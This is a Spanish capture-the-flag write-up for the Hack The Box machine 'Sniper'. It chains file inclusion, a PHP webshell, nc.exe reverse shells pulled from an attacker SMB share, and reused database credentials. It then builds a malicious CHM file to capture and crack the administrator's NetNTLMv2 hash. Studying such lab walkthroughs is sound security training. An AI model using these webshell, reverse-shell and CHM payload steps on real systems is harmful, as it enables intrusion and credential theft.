Sniper - Hack The Box

Sniper es una máquina Windows de dificultad media que cuenta con un servidor PHP. El servidor aloja un archivo que se encuentra vulnerable a la inclusión local y remota de archivos. La ejecución de comandos se obtiene en el servidor en el contexto de ‘NT AUTHORITY\iUSR’ a través de la inclusión local de archivos PHP Session maliciosamente diseñados. Las credenciales expuestas de la base de datos se utilizan para obtener acceso como el usuario ‘Chris’, que tiene la misma contraseña. La enumeración revela que el administrador está revisando archivos CHM (Ayuda HTML compilada), que pueden utilizarse para filtrar el hash NetNTLM-v2 del administrador. Este puede ser capturado, descifrado y utilizado para obtener un shell inverso como administrador utilizando un objeto de credenciales PowerShell.

Recon

┌─[ot3ro@parrot]─[~/HTB/Sniper/Nmap]
└──╼ $sudo nmap -sT 10.10.10.151 -p- --open --disable-arp-ping -n -vv --reason -oN nmap-sT-Sniper


Scanning 10.10.10.151 [65535 ports]
Discovered open port 80/tcp on 10.10.10.151
Discovered open port 139/tcp on 10.10.10.151
Discovered open port 445/tcp on 10.10.10.151
Discovered open port 135/tcp on 10.10.10.151
Completed Connect Scan at 16:28, 421.05s elapsed (65535 total ports)
Nmap scan report for 10.10.10.151
Host is up, received echo-reply ttl 127 (0.16s latency).
Scanned at 2023-09-10 16:21:48 CST for 421s
Not shown: 65530 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      REASON
80/tcp    open  http         syn-ack
135/tcp   open  msrpc        syn-ack
139/tcp   open  netbios-ssn  syn-ack
445/tcp   open  microsoft-ds syn-ack
49667/tcp open  unknown      syn-ack

┌─[ot3ro@parrot]─[~/HTB/Sniper/Nmap]
└──╼ $sudo nmap -sV 10.10.10.151 -p80,135,139,445,49667 -Pn -n -v -oN nmap-sV-sniper


Discovered open port 445/tcp on 10.10.10.151
Discovered open port 139/tcp on 10.10.10.151
Discovered open port 135/tcp on 10.10.10.151
Discovered open port 80/tcp on 10.10.10.151
Discovered open port 49667/tcp on 10.10.10.151
Nmap scan report for 10.10.10.151
Host is up (0.16s latency).

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
49667/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Encontramos que el puerto 80 está abierto y está siendo utilizado para un servidor web. Este servidor web en particular es Microsoft IIS, que es comúnmente utilizado para alojar sitios web y aplicaciones web en servidores Windows, El puerto 135 está abierto y generalmente se asocia con el Protocolo de Llamada a Procedimiento Remoto de Microsoft (MSRPC), es esencial para la comunicación entre aplicaciones en sistemas Windows,Puertos 139/tcp y 445/tcp (NetBIOS y Microsoft-DS): Estos puertos se utilizan para funciones de comunicación de red en sistemas Windows. El puerto 139 está relacionado con NetBIOS, mientras que el puerto 445 se utiliza para el servicio Microsoft-DS, que se encarga del uso compartido de archivos y la administración de recursos en sistemas Windows.

┌─[ot3ro@parrot]─[~/HTB/Sniper]
└──╼ $whatweb -v http://10.10.10.151/

Status    : 200 OK
Title     : Sniper Co.
IP        : 10.10.10.151
Country   : RESERVED, ZZ

Summary   : Bootstrap[3.0.0], HTML5, HTTPServer[Microsoft-IIS/10.0], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, X-Powered-By[PHP/7.3.1]

HTTP Headers:
	HTTP/1.1 200 OK
	Content-Type: text/html; charset=UTF-8
	Server: Microsoft-IIS/10.0
	X-Powered-By: PHP/7.3.1
	Date: Mon, 11 Sep 2023 07:01:25 GMT
	Connection: close
	Content-Length: 2635

Site

Notamos que en la URL se está pasando un parámetro llamado “lang” con el valor “blog-en.php” a la página /blog/ cuando se intenta cambiar el lengüaje de la página. A continuación vamos a hacer una captura de la petición HTTP GET con Burpsuite para analizar el comportamiento del sitio.

Blog

Nos damos cuenta que el párametro “lang” en vulnerable al Local File Inclusion (LFI), en el sig. ejemplo hacemos una consulta del archivo ‘hosts’ de Windows.

Local File Inclusion

una buena idea es intentar una ‘Exfiltración de archivos a través de LFI con SMB’. Primero configuramos un servidor SMB, en mi caso con ‘Impacket’ y compartiremos un recurso de prueba para intentar cargarlo desde la maquina objetivo:

┌─[ot3ro@parrot]─[~]
└──╼ $echo 'esto es un test de LFI' > test.txt

Ahora intentaremos ejecutar código de manera remota desde de la máquina víctima a nuestro host. Primero haremos un código PHP, en este caso una función de “llamada al sistema” para cargarlo en la máquina víctima. Vamos a crear un archivo llamado ‘test_RCE.php’.

<?php system('echo "Esto es un test de RCE"');?>

Montamos un servidor ‘smb’ con impacket-smbserver para servir el archivo ‘test_RCE.php’.

┌─[ot3ro@parrot]─[~/HTB/Sniper]
└──╼ $sudo impacket-smbserver share -smb2support $(pwd)

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Remote Code Execution

Ahora descargamos el archivo ‘test_RCE.php’ desde Burpsuite:

Ya comprobamos que podemos ejecutar código php en el servidor, ahora vamos a crear una webshell en un archivo php con un parámetro ‘cmd’ para pasarle nuestros códigos como entrada.

<?php system($_REQUEST["cmd"]);?>

Revershell

Lo lógico ahora sería intentar mandarnos una revershell. Primero nos ponemos en escucha con nc, en mi caso por el puerto 4444, luego en nuestro servidor SMB compartimos como recurso el ejecutable de ‘nc.exe’, para cargarlo desde la máquina objetivo y asignarle los parámetros para que nos devuelva una shell al momento de descargarse.

┌─[ot3ro@parrot]─[~/HTB/Sniper/shell]
└──╼ $locate nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe

┌─[ot3ro@parrot]─[~/HTB/Sniper/shell]
└──╼ $cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
┌─[ot3ro@parrot]─[~/HTB/Sniper/shell]
└──╼ $sudo impacket-smbserver share -smb2support $(pwd) 
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
┌─[ot3ro@parrot]─[~/HTB/Sniper]
└──╼ $sudo nc -lnvp 4444
listening on [any] 4444 ...

Y hemos obtenido una shell.

Post-explotación

PS C:\inetpub\wwwroot\blog> whoami
whoami
nt authority\iusr


PS C:\inetpub\wwwroot\blog> whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name          Description                               State  
======================= ========================================= =======
SeChangeNotifyPrivilege Bypass traverse checking                  Enabled
SeImpersonatePrivilege  Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects                     Enabled

A continuación vamos a revisar el webroot del servidor IIS para ir listando los directorios y archivos que nos llamen la atención, e ir recolectando información relevante:

PS C:\inetpub\wwwroot\blog> cd ..
PS C:\inetpub\wwwroot> gci




Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        4/11/2019   5:23 AM                blog                                                                  
d-----        4/11/2019   5:23 AM                css                                                                   
d-----        4/11/2019   5:23 AM                images                                                                
d-----        4/11/2019   5:23 AM                js                                                                    
d-----        4/11/2019   5:23 AM                scss                                                                  
d-----        10/1/2019   8:44 AM                user                                                                  
-a----        4/11/2019   5:22 PM           2635 index.php                                                             


PS C:\inetpub\wwwroot> cd user	
PS C:\inetpub\wwwroot\user> gci




Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        4/11/2019   5:52 AM                css                                                                   
d-----        4/11/2019   5:23 AM                fonts                                                                 
d-----        4/11/2019   5:23 AM                images                                                                
d-----        4/11/2019   5:23 AM                js                                                                    
d-----        4/11/2019   5:23 AM                vendor                                                                
-a----        4/11/2019   5:15 PM            108 auth.php                                                              
-a----        4/11/2019  10:51 AM            337 db.php                                                                
-a----        4/11/2019   6:18 AM           4639 index.php                                                             
-a----        4/11/2019   6:10 AM           6463 login.php                                                             
-a----         4/8/2019  11:04 PM            148 logout.php                                                            
-a----        10/1/2019   8:42 AM           7192 registration.php                                                      
-a----        8/14/2019  10:35 PM           7004 registration_old123123123847.php 


PS C:\inetpub\wwwroot\user> gc db.php  	
<?php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
// Check connection
if (mysqli_connect_errno())
  {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
  }
?>

El script “db.php” crea una conexión con un servidor MySQL en el localhost utilizando las siguientes credenciales:

  • Nombre de usuario: "dbuser"

  • Contraseña: "36mEAhz/B8xQ~2VM"

  • Base de datos: "sniper"

Esta conexión se utiliza para interactuar con la base de datos MySQL desde la aplicación web.

Ahora sería bueno intentar descubrir a qué usuario le pertenece el password “36mEAhz/B8xQ~2VM” que encontramos en el archivo db.php; vamos a listar los usuarios presentes en el sistema y luego usar la herramienta ‘crackmapexec’ para probar las credenciales:

PS C:\inetpub\wwwroot> Get-WmiObject -Class win32_UserAccount | Select-Object Name


Name              
----              
Administrator     
Chris             
DefaultAccount    
Guest             
WDAGUtilityAccount
┌─[ot3ro@parrot]─[~]
└──╼ $crackmapexec smb 10.10.10.151 -u "Chris" -p "36mEAhz/B8xQ~2VM"

SMB         10.10.10.151    445    SNIPER           [*] Windows 10.0 Build 17763 x64 (name:SNIPER) (domain:Sniper) (signing:False) (SMBv1:False)
SMB         10.10.10.151    445    SNIPER           [+] Sniper\Chris:36mEAhz/B8xQ~2VM 

Hemos descubierto que la contraseña “36mEAhz/B8xQ~2VM” le pertenece al usuario Chris.

Movimiento-Lateral

A continuación vamos a intentar ejecutar comandos en el sistema local como el usuario Chris, para esto vamos a usar el cmdlet ‘Invoke-Command’ esta herramienta nos ayuda a ejecutar comandos en una máquina remota o en la máquina local de PowerShell, para usarla tenemos que especificar las credenciales del usuario , en este caso vamos a crear un objeto con las credenciales del usuario Chris. La sintaxis básica de ‘Invoke-Command’ que usaremos va a ser la sig:

"Invoke-Command -ComputerName <nombre_máquina> -Credential <dominio\usuario> -ScriptBlock {<comando a ejecutar>}".
PS C:\inetpub\wwwroot> $cred = New-Object System.Management.Automation.PSCredential("Sniper\Chris",(ConvertTo-SecureString -String "36mEAhz/B8xQ~2VM" -AsPlainText -Force))

PS C:\inetpub\wwwroot> Invoke-Command -ComputerName $env:COMPUTERNAME -Credential $cred -ScriptBlock {whoami}
sniper\chris

Nos ponemos en escucha con ‘nc’ en nuestra máquina de atacante , en mi caso en el puerto 9001:

┌─[ot3ro@parrot]─[~/HTB/Sniper]
└──╼ $sudo rlwrap nc -lnvp 9001
listening on [any] 9001 ...

Y ejecutamos comando como el usuario Chris para mandarnos una revershell usando el ejecutable ‘nc.exe’ que descargaremos de nuestro servidor ‘impacket-smbserver’ anterior:

PS C:\inetpub\wwwroot> Invoke-Command -ComputerName $env:COMPUTERNAME -Credential $cred -ScriptBlock {\\10.10.14.15\share\nc.exe 10.10.14.15 9001 -e powershell}

NOTA: Si notas que falla la conexión, intenta reiniciar tu servidor SMB.

┌─[ot3ro@parrot]─[~/HTB/Sniper]
└──╼ $sudo rlwrap nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.151] 49765
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Chris\Documents> whoami
sniper\chris

PS C:\Users\Chris\Documents> 

Hemos logrado conectarnos a la máquina Sniper como el usuario Chris.

PS C:\Users\Chris> cd Desktop
PS C:\Users\Chris\Desktop> Get-ChildItem -Force

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a-hs-        4/11/2019   7:04 AM            282 desktop.ini                                                           
-ar---        9/13/2023  12:07 AM             34 user.txt 

PS C:\Users\Chris\Desktop> gc user.txt
1f7474c8472b4fa266a6be9938f0ca6c

Y vemos que ya logramos obtener nuestra primer flag user.txt. Ahora nos toca intentar escalar privilegios. Entonces seguiremos enumerando la máquina.

PS C:\Users\Chris\downloads> Get-ChildItem -Force


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a-hs-        4/11/2019   7:04 AM            282 desktop.ini                                                           
-a----        4/11/2019   8:36 AM          10462 instructions.chm                                                      

Encontramos un archivo ‘chm’ (“Compiled HTML Help”); CHM Es un archivo en formato binario de ayuda de Microsoft HTML. Los archivos CHM suelen contener una tabla de contenido, índices, enlaces y búsqueda para facilitar la navegación y búsqueda de información.

Vamos a intentar transferir el archivo ‘instructions.chm’ a nuestra máquina de atacante. Primero vamos a calcular el hash del archivo para después compararlo una vez descargado en nuestra máquina con ‘md5sum’ y verificar que sea el mismo y no hay sufrido alguna modificación; En mi caso para transferir el archivo a mi máquina, usaré un script llamado ‘PSUpload.ps1’ que descargué del sitio de Github de Julio Ureña “https://github.com/juliourena/plaintext/blob/master/Powershell/PSUpload.ps1”, lo copiaré desde mi server SMB a la máquina víctima y montaré un servidor ‘uploadserver’ con python3 para recibir el archivo.

PS C:\Users\Chris\downloads> Get-FileHash "./instructions.chm" -Algorithm MD5 | select Hash

Hash                            
----                            
CD689B38697B2FCAB562D41D6519373E


PS C:\Users\Chris\downloads> copy \\10.10.14.15\share\PSUpload.ps1
PS C:\Users\Chris\downloads> Invoke-FileUpload -Uri http://10.10.14.15/upload -File ./instructions.chm

┌─[ot3ro@parrot]─[~/HTB/Sniper]
└──╼ $sudo python3 -m uploadserver 80

File upload available at /upload
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.151 - - [13/Sep/2023 19:31:00] [Uploaded] "instructions.chm" --> /home/ot3ro/HTB/Sniper/instructions.chm
10.10.10.151 - - [13/Sep/2023 19:31:00] "POST /upload HTTP/1.1" 204 -


┌─[ot3ro@parrot]─[~/HTB/Sniper]
└──╼ $sudo chown ot3ro instructions.chm 

┌─[ot3ro@parrot]─[~/HTB/Sniper]
└──╼ $md5sum instructions.chm 
cd689b38697b2fcab562d41d6519373e  instructions.chm

┌─[ot3ro@parrot]─[~/HTB/Sniper]
└──╼ $xchm instructions.chm 

En sí no vemos nada relevante en el contenido del archivo, pero investigando más a fondo podemos descubrir que existe un vector de ataque relacionado con los binarios ‘chm’.

Los delincuentes pueden abusar de los archivos HTML compilados (.chm) para ocultar código malicioso. Los archivos CHM se distribuyen habitualmente como parte del sistema de ayuda HTML de Microsoft. Los archivos CHM son compilaciones comprimidas de diversos contenidos, como documentos HTML, imágenes y lenguajes de programación relacionados con scripts/web, como VBA, JScript, Java y ActiveX. El contenido CHM se muestra utilizando componentes subyacentes del navegador Internet Explorer cargados por el programa ejecutable de Ayuda HTML (hh.exe). Un archivo CHM personalizado que contenga cargas útiles incrustadas podría ser entregado a una víctima y luego ser activado por la Ejecución de Usuario. La ejecución de CHM también puede eludir el control de aplicaciones en sistemas antiguos y/o sin parches que no tengan en cuenta la ejecución de binarios a través de hh.exe.

Para aprovechar que podemos ejecutar archivos binarios chm en el sistema, ahora vamos a usar también una máquina virtual Windows de atacante y vamos a trabajar con el framework de ‘nishang’, especificamente trabajaremos con el script ‘Out-CHM.ps1’ que sirve para crear archivos chm maliciosos para la explotación del lado del cliente. También es importante descargar el programa ‘htmlhelp.exe’(es un programa ejecutable de Windows que se utiliza para abrir y visualizar archivos de ayuda en formato CHM) que nos creará un directorio llamado “HTML Help Workshop”.

Escalada de privilegios

Máquina virtual Windows

PS C:\HTB\Sniper> Get-ExecutionPolicy
Restricted
PS C:\HTB\Sniper> Set-ExecutionPolicy Unrestricted

Cambio de directiva de ejecución
La directiva de ejecución te ayuda a protegerte de scripts en los que no confías. Si cambias dicha directiva, podrías
exponerte a los riesgos de seguridad descritos en el tema de la Ayuda about_Execution_Policies en
https:/go.microsoft.com/fwlink/?LinkID=135170. ¿Quieres cambiar la directiva de ejecución?
[S] Sí  [O] Sí a todo  [N] No  [T] No a todo  [U] Suspender  [?] Ayuda (el valor predeterminado es "N"): O

PS C:\HTB\Sniper> Import-Module .\Out-CHM.ps1 

PS C:\HTB\Sniper> out-chm -payload "ping 10.10.14.15" -HHCPath "C:\Program Files (x86)\HTML Help Workshop\"

Compiling c:\HTB\Sniper\doc.chm


Compile time: 0 minutes, 0 seconds
2       Topics
4       Local links
4       Internet links
0       Graphics


Created c:\HTB\Sniper\doc.chm, 13,424 bytes
Compression increased file by 153 bytes.

PS C:\HTB\Sniper> gci


    Directorio: C:\HTB\Sniper


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----     14/09/2023  06:23 p. m.          13444 doc.chm
-a----     14/09/2023  06:19 p. m.          19815 Out-CHM.ps1

Luego nos transferimos el archivo doc.chm de nuestra máquina Windows a nuestra máquina linux usando nuestro servidor SMB.

NOTA: Cada vez que vayas a transeferir un archivo desde la máquina Windows al servidor SMB de tu máquina Linux, es probable que tengas que ir creando una sesión SMB con autenticación, ej. "

impacket-smbserver share -smb2support $(pwd) -user guest -password guest

y desde la máquina Windows mapear una unidad de red local, ej.

net use n: \\10.10.14.15\share /user:guest guest

ya después de crear la unidad de red, ahora sí puedes transferir el archivo de la sig. manera:

copy c:\'archivo' n:"

Una vez que tengamos nuestro archivo malicioso chm en nuestra máquina de atacante, ahora debemos descargar el archivo desde la máquina Windows víctima como el usuario ‘Chris’:

PS C:\docs> Copy-Item -Path "\\10.10.14.15\share\doc.chm" -Destination .
┌─[ot3ro@parrot]─[~/HTB/Sniper/shell]
└──╼ $sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
21:07:42.736495 IP 10.10.10.151 > 10.10.14.15: ICMP echo request, id 1, seq 21, length 40
21:07:42.736528 IP 10.10.14.15 > 10.10.10.151: ICMP echo reply, id 1, seq 21, length 40
21:07:43.760309 IP 10.10.10.151 > 10.10.14.15: ICMP echo request, id 1, seq 22, length 40
21:07:43.760341 IP 10.10.14.15 > 10.10.10.151: ICMP echo reply, id 1, seq 22, length 40
21:07:44.784424 IP 10.10.10.151 > 10.10.14.15: ICMP echo request, id 1, seq 23, length 40
21:07:44.784532 IP 10.10.14.15 > 10.10.10.151: ICMP echo reply, id 1, seq 23, length 40
21:07:45.767292 IP 10.10.10.151 > 10.10.14.15: ICMP echo request, id 1, seq 24, length 40
21:07:45.767327 IP 10.10.14.15 > 10.10.10.151: ICMP echo reply, id 1, seq 24, length 40

Es importante que busques un directorio en el sistema que te permita ejecutar el archivo chm, en mi caso lo hice desde el directorio "Docs"

Y vemos que tcpdump capturó el tráfico ICMP generado por la máquina víctima 10.10.10.151. Hemos comprobado la ejecución remota de código a través de un archivo binario chm. Ahora vamos a intentar ejecutar una revershell a nuestra máquina Linux siguiendo el mismo principio anterior:

Máquina virtual Windows

PS C:\HTB\Sniper> Out-CHM -Payload "\\10.10.14.15\share\nc.exe 10.10.14.15 443 -e powershell" -HHCPath "C:\Program Files (x86)\HTML Help Workshop\"
Microsoft HTML Help Compiler 4.74.8702

Compiling c:\HTB\Sniper\doc.chm


Compile time: 0 minutes, 0 seconds
2       Topics
4       Local links
4       Internet links
0       Graphics


Created c:\HTB\Sniper\doc.chm, 13,444 bytes
Compression increased file by 133 bytes.
┌─[ot3ro@parrot]─[~/HTB/Sniper]
└──╼ $sudo rlwrap nc -lnvp 443
listening on [any] 443 ...
PS C:\docs> Copy-Item -Path "\\10.10.14.15\share\doc.chm" -Destination .
┌─[ot3ro@parrot]─[~/HTB/Sniper/shell]
└──╼ $sudo impacket-smbserver share -smb2support $(pwd) 
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.151,49837)
[*] AUTHENTICATE_MESSAGE (\,SNIPER)
[*] User SNIPER\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:SHARE)
[*] AUTHENTICATE_MESSAGE (SNIPER\Administrator,SNIPER)
[*] User SNIPER\Administrator authenticated successfully
[*] Administrator::SNIPER:aaaaaaaaaaaaaaaa:1acb8754d3f3cdd2ad7af21eb46915f6:010100000000000080c9de8485e7d901188ae75fcc0295ce000000000100100051004f007400550075004800770051000300100051004f00740055007500480077005100020010007900670044005700740056006c006e00040010007900670044005700740056006c006e000700080080c9de8485e7d901060004000200000008003000300000000000000000000000003000007480d1ed9d12e146d86930de328cc3d8fcf8ccba147fa4ecd4ab81edf9fdbad80a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003500000000000000000000000000

...[SNIP]...

En este primer intento, el comando de revershell que usamos en el archivo doc.chm no funciona como esperábamos, pero vemos que el smbserver captura el hash NetNTLM-v2 del usuario Administrador, entonces lo que primero podríamos hacer es intentar crackear el hash con ‘hashcat’ y luego modificar el código en el archivo doc.chm para lograr conectarnos al sistema con la revershell.

Escalada de privilegios

Crackeo del hash NTLM-v2 del administrador

┌─[ot3ro@parrot]─[~/HTB/Sniper]
└──╼ $hashcat -m 5600 administrator-ntlmv2 /usr/share/wordlists/rockyou.txt  --force
hashcat (v6.1.1) starting...

...[SNIP]...

Host memory required for this attack: 64 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 6 secs

ADMINISTRATOR::SNIPER:aaaaaaaaaaaaaaaa:37318c8f3a97979029b71ffeb6342f23:0101000000000000008da88685e7d90183e27c4dfa4d6fae000000000100100051004f007400550075004800770051000300100051004f00740055007500480077005100020010007900670044005700740056006c006e00040010007900670044005700740056006c006e0007000800008da88685e7d901060004000200000008003000300000000000000000000000003000007480d1ed9d12e146d86930de328cc3d8fcf8ccba147fa4ecd4ab81edf9fdbad80a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003500000000000000000000000000
:butterfly!#1
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: ADMINISTRATOR::SNIPER:aaaaaaaaaaaaaaaa:37318c8f3a97...000000
Time.Started.....: Thu Sep 14 21:53:41 2023, (10 secs)
Time.Estimated...: Thu Sep 14 21:53:51 2023, (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   194.1 kH/s (6.00ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests
Progress.........: 1953792/14344385 (13.62%)
Rejected.........: 0/1953792 (0.00%)
Restore.Point....: 1950720/14344385 (13.60%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: c411426 -> burlfloor12

Y hashcat nos muestra la contraseña descifrada : “butterfly!#1”. Vamos a intentar conectarnos a la máquina víctima como el usuario ‘Administrator’:

┌─[ot3ro@parrot]─[~/HTB/Sniper]
└──╼ $impacket-psexec SNIPER/Administrator:'butterfly!#1'@10.10.10.151

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.10.151.....
[*] Found writable share ADMIN$
[*] Uploading file fmBhbOfo.exe
[*] Opening SVCManager on 10.10.10.151.....
[*] Creating service sJwY on 10.10.10.151.....
[*] Starting service sJwY.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>dir C:\Users\Administrator\Desktop /s
 Volume in drive C has no label.
 Volume Serial Number is AE98-73A8

 Directory of C:\Users\Administrator\Desktop

03/22/2023  10:22 AM    <DIR>          .
03/22/2023  10:22 AM    <DIR>          ..
09/15/2023  12:27 AM                34 root.txt
               1 File(s)             34 bytes

     Total Files Listed:
               1 File(s)             34 bytes
               2 Dir(s)   2,403,225,600 bytes free

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
d7f1325940032e33ac759b19d18693d7

C:\Windows\system32>

Hemos logrado conectarnos al sistema con privilegios elevados de “nt authority \system”, también capturamos la flag root.txt

Captura alternativa de la flag

Falta intentar ahora la conexión con la revershell que nos quedó pendiente. Para éso esta vez vamos a intentar transferir el ejecutable nc.exe a la máquina víctima del usuario Chris, y despues crearemos nuestro nuevo archivo doc.chm con el payload modificado en nuestra máquina virtual Windows; la idea es que el binario chm llame directamente a nc.exe desde el sistema local.

Máquina virtual Windows

PS C:\HTB\Sniper> Out-CHM -Payload "C:\users\Chris\downloads\nc.exe 10.10.14.15 443 -e powershell" -HHCPath "C:\Program Files (x86)\HTML Help Workshop\"
Microsoft HTML Help Compiler 4.74.8702

Compiling c:\HTB\Sniper\doc.chm


Compile time: 0 minutes, 0 seconds
2       Topics
4       Local links
4       Internet links
0       Graphics


PS C:\users\chris\downloads> Copy-Item -Path "\\10.10.14.15\share\nc.exe" -Destination .
PS C:\Docs> Copy-Item -Path "\\10.10.14.15\share\doc.chm" -Destination .
┌─[ot3ro@parrot]─[~/HTB/Sniper]
└──╼ $sudo rlwrap nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.151] 49861
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

whoami
whoami
sniper\administrator
PS C:\Windows\system32> 
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt


d7f1325940032e33ac759b19d18693d7

Y capturamos otra vez la flag root.txt